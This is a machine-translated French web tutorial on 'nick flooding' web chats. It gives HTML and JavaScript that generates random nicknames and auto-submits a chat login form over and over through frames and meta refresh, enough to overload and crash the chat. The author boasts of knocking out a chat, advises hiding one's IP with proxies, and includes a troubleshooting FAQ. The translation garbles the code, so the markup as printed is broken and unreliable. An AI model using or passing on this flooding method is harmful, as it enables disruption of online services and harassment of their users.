This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat ou pseudo partie 1

Continuation >>>


En continuant sur le thème de FA, nous avons décidé d'écrire un autre article, qui correspond maintenant exactement à son titre. Attention: utilisez-le exclusivement pour traiter les administrateurs "gelés" qui, par manque d’inactivité ou pour montrer leurs capacités, sont exclus du chat pour une raison quelconque, même sans ce contact. N'utilisez pas cet outil dans les discussions où vous êtes aliéné pour communiquer normalement, car vous ne laisserez personne parler , car un nombre impressionnant de «personnes» différentes entreront dans le chat et il y en aura tellement qu'il deviendra impossible à exprimer dans le chat ... En d'autres termes, il s'agit de «Nick Flooding» ou de remplir le chat avec des visiteurs inexistants.

Enregistrez la page de démarrage sur le disque.
Pour la mise en œuvre, vous aurez besoin d’une discussion en ligne avec connexion sans vous inscrire. Il existe également une faible connaissance du langage HTML (du moins de quoi il s’agit). Enregistrez la page de démarrage du chat, c’est ici qu’il est écrit "Entrez votre surnom"

Le code est quelque chose comme ça

<html> <body> ......................

<Action FORM = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - le mode d'envoi des données
Entrez votre pseudo: <type d'entrée = nom du texte = Nick > - Ici le pseudo est entré
<INPUT name = type de couleur = valeur cachée = rouge> - paint
<INPUT type = submit value = "Commencez !!!" > - bouton

..................... </ html> </ body>

Et donc, il regarde dans le navigateur: Entrez votre pseudo

Si votre page de démarrage se charge dans des cadres, c.-à-d. les messages sont déjà visibles, en dessous il est indiqué "Entrez votre pseudo" (généralement le cadre du bas), vous devez cliquer avec le bouton droit de la souris dessus (ci-dessous) et sélectionner "Afficher en html". Vous verrez également que dans le cas principal, il est possible que le code devienne plus compliqué.

si vous savez comment travailler avec une discussion à partir d'un disque, cette conversation est également possible, le code de la trame inférieure après la première phrase se lit comme suit:

<html> <body> ......................

<Action FORM = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - le chemin où les données sont envoyées
<type d'entrée = nom caché = valeur Nick = votre pseudo> - pseudo (il n'est visible d'aucune façon)
<Nom de l'entrée = couleur type = valeur cachée = rouge> - couleur
Entrez la phrase <INPUT TYPE = TEXT nom = say size = "24"> - champ de saisie de la phrase
<INPUT type = submit value = "Say !!!" >

..................... </ html> </ body>

Si ce chat se trouve sur http://www.domen.ru, dans la ligne <action FORM = =cgi-bin/chat/login.cgi = post name = " chat_x ">, enregistrez également cette adresse: <Action FORM = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> exécutez maintenant ce fichier et accédez à la discussion à partir de celui-ci, name = " chat_x " peut être absent le temps est permis de l'ajouter vous-même. Au lieu de chat_x.ono, il peut également être nommé l'un pour l'autre. S'il s'avère qu'il faut entrer dans la discussion à partir de ce fichier, passez aux éléments suivants.

Première puce: générer des visiteurs sur le chat

Si nous utilisons un seul surnom pour nos besoins, il ne sera pas étiré de plus de 2-3 phrases ... sera jeté. Cela signifie que le pseudo doit toujours être différent, le script Java nous aidera (vous n’avez pas besoin de le savoir, entrez simplement vos chiffres) Math.floor (Math.random () * 100000000)

Un exemple est autorisé à voir en cliquant sur le bouton:


Explication: L'objet mathématique Math: Math.random () génère une quantité de 0 à 1, puis ce nombre est arrondi à l'aide de Math.floor () , de sorte qu'il doit être multiplié par 10, par exemple un nombre de 0 à 9, si vous multipliez par 100, puis jusqu'à 99, si vous multipliez par 1000, puis jusqu'à 999 également. c'est-à-dire la longueur du nombre obtenu est inférieure ou égale au nombre de zéros, multiplie notamment par le fait que nous nous sommes multipliés ... zut, je me suis déjà confondu Souriez heureux )) Dans l'exemple (voir ci-dessous), ce montant est 100000000 en appelant que nous obtenons un numéro aléatoire, ce sera un surnom ...
Pour que cette quantité tienne dans la forme pseudo, placez-la dans la page de chargement automatique, c.-à-d. plus tard, cela deviendra la balise <body>: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> faites attention au nom du formulaire (voir l'exemple de code html ci-dessus, il est surligné en jaune), ce qui est nécessaire pour qu’une quantité aléatoire s’insère dans la forme souhaitée, y compris dans le champ souhaité.

Autre caractéristique: nous envoyons des "visiteurs" au chat.

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 1000);
}
</ script>

Ce type de script «appuie» sur le bouton «Soumettre» et envoie des données à partir d'un formulaire appelé chat_x. Dans le chat, ce bouton peut être appelé «Entrer en chat» ou «Dire». Il fonctionne avec un délai de 1000 ms, afin que vous puissiez voir en premier. ce qui est chargé (plus tard, vous pouvez en mettre 100), mais les données sont ensuite automatiquement envoyées, mais pour cela, vous devez enregistrer la fonction d'envoi submit () sur le chargement automatique de notre page i.e. dans la balise <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () "> maintenant, un nombre aléatoire est sélectionné lors du chargement de la page, puis il est écrit dans le formulaire chat_x nick field. également les données du formulaire chat_x sont envoyés au serveur, il s’avère que des personnes ont participé à la discussion avec un pseudo sous la forme de plusieurs numéros.

Exemple de code html pour un déluge de discussion ingénue

<HTML> <HEAD> <TITLE> Inondateur de conversation </ TITLE>

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 1000);
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<Action FORM = http: //www.domain.com/cgi-bin/chat/chat.cgi, méthode = post name = " chat_x ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom d'entrée = type de pseudo = texte>
<INPUT type = submit value = " Commencez !!! ">
</ BODY> </ HTML>

Le dernier ... personnellement inondation

Pour ce faire, mangez de trois façons.

1.Créez un fichier contenant une paire de cadres, dans un fichier, qui crée un pseudo lors du chargement, il l'envoie également au chat, appelons-le forma.htm, mais dans un autre cadre, tout autre fichier de mon exemple est yo.htm. Et enregistrez-le sous le nom frames.htm. Le code de ce document deviendra comme ceci:

Contenu du fichier frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Cette page utilise des cadres, mais votre navigateur ne les prend pas en charge. </ p>
</ body> </ noframes> </ frameset>

J'ai mis en évidence le nom du cadre d' envoi spécialement. les données lui seront envoyées afin que le fichier forma.htm ne soit pas déchargé après son envoi. Ensuite, dans le code forma.htm, ajoutez ce qui suit: à la balise <FORM action = ..... target = " send "> et à la source de l'acte, la ligne: <meta http-equiv = "Refresh" content = "1"> pour que le fichier lui-même mis à jour toutes les secondes et définissez Minuterie = 0. Ce qui s’est passé: le fichier mis à jour est également envoyé au chat du visiteur, cela peut être vu dans le cadre avec le nom SEND i.e. Au lieu du fichier yo.htm, un chat apparaît, puis forma.htm est à nouveau mis à jour, il envoie le nouveau front créé au chat, il est également mis à jour à nouveau, la personne nouvellement créée revient dans le chat ... jusqu'à l'infini. :) Le taux de rafraîchissement est défini en fonction de la vitesse de connexion.

Exemple de contenu du fichier forma.htm

<HTML>
<HEAD> <TITLE> Inondateur de conversation </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 0 );
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<Action FORM = http: //www.domain.com/cgi-bin/chat/chat.cgi méthode = post name = " chat_x " target = " send ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom d'entrée = type de pseudo = texte>
<nom d'entrée = mot de passe type = valeur cachée = "">
<INPUT type = submit value = " Commencez !!! ">
</ BODY> </ HTML>

2 voies. Premièrement, nous créons 4 fichiers qui ne différeront que par le délai d’envoi, ainsi qu’un fichier image dans lequel il y aura par exemple 16 (!) Images, dans les quatre premiers le premier fichier, dans lequel il se trouve Timer = setTimeout ("(document.chat_x.submit ())", 1000 ) Dans les quatre autres cadres, le deuxième fichier chargé contient un délai de 10 000. Dans le troisième, 30 000. Eh bien, dans le quatrième fichier, le quatrième fichier est chargé avec un retard de 40 000, c'est-à-dire Toutes les 10 000 ms, 4 "personnes" entrent dans le chat et tout le monde est différent, bien qu'ils se présentent sous la forme de chiffres, mais que ce soit des ordures ... Si vous avez utilisé le formulaire de connexion au chat, ils vont tous "accéder" au chat, mais si le message est envoyé, alors il est permis de saisir un paragraphe du texte en tant que message, alors que chaque pseudonyme généré commencera à parler ... Essayez, essayez d'autres options avec des cadres ...

Il ne reste plus qu'à cacher votre IP, pour cela il est permis d'utiliser A4Proxy , de composer une liste de serveurs étendue ....

3 voies. si vous avez un site Web, vous êtes autorisé à placer ces fichiers dessus, par exemple, dans un cadre caché, alors qu'IP sera également pratiquement toujours différent ...

Chat valim :)

Les discussions utilisant le système privé sont agencées de manière à pouvoir rester en contact permanent avec l'ordinateur de l'utilisateur, c'est-à-dire ils génèrent constamment un flot de messages pour lui, ils voient de toute façon s'il est encore déconnecté, même si un trafic extrêmement important est généré, le chat peut ne pas être en mesure de résister à la "chute" de quelque manière que ce soit. Donc, ce matin, nous étions dans un chat pouvant supporter un maximum de 70 personnes, puis il ne fonctionnait plus, même si la page de démarrage était également chargée ... Mettre un tel chat "manuellement" n’était pas du tout difficile, il suffisait de créer un fichier qui générait des pseudonymes, de les envoyer à chat, une minute après le démarrage de ce fichier, environ 50 personnes supplémentaires ont été ajoutées au 23ème chat existant dans le chat :) ) aussi il est tombé naturellement (j'ai utilisé un fichier de plusieurs cadres dans lequel il y avait un aussi le fichier bla bla) Et il faut noter que nous étions dans le club mais il y a une vitesse impressionnante et aussi des ordinateurs puissants :) . Cela peut également fonctionner avec un modem (par exemple, accepter de commencer tout de suite) ou l’essayer vous-même d’abord, je ne sais pas du tout ... N’oubliez pas que les administrateurs peuvent également se connecter à des discussions pour ensuite voir comment cela se passait. :) L'accès à cette discussion à partir de l'adresse IP du club Internet "GeForce" est maintenant fermé. :)

FAQ: Si ça ne marche pas

FlooDer : Je ne peux rien faire :)
Essayez d’abord, entrez simplement le chat à partir du disque, c.-à-d. à partir du formulaire de connexion enregistré sur la vis, si tout a fonctionné, il y a une erreur dans le code "script-flood" :) , si ça ne marche pas, alors continuez à lire ...

FlooDer : Je suis sorti du disque, maintenant je ne peux plus envoyer de données :) que faire?
Vérifiez le nom du formulaire (nom = XxXxX)

FlooDer : Dans la ligne <FORM action = http: //www.***.ru/chat.cgi, méthode = post>, il n'y a pas de nom commun = "XxXxX" , que dois-je faire?
Collez-vous: (name = "chat_x" target = "send") target- pour que les données soient envoyées au cadre d'envoi, cela ressemblera à ceci: <action FORM = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: Lorsque vous entrez dans le chat, vous devez entrer un mot de passe. Si chaque pseudo n’est pas enregistré de quelque manière que ce soit, comment puis-je le saisir dans le code?
Dans le formulaire de saisie du mot de passe, vous devez ajouter: value = "abrakadabra", puis tous les "utilisateurs" générés entreront ce mot de passe.

Continuation >>>

Il ne sera pas superflu pour vos amis d'apprendre cette information, partagez un article avec eux!

Commentaires Développer / réduire la fenêtre de commentaire développer / réduire

Lorsque vous commentez, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de liberté d'expression et d'anonymat offertes par Internet change non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
L'avez vous aimé? Abonnez-vous aux nouvelles RSS ,
être le premier à recevoir des informations
à propos de tous les événements importants du pays et du monde.
Vous pouvez également soutenir shram.kiev.ua, cliquez sur: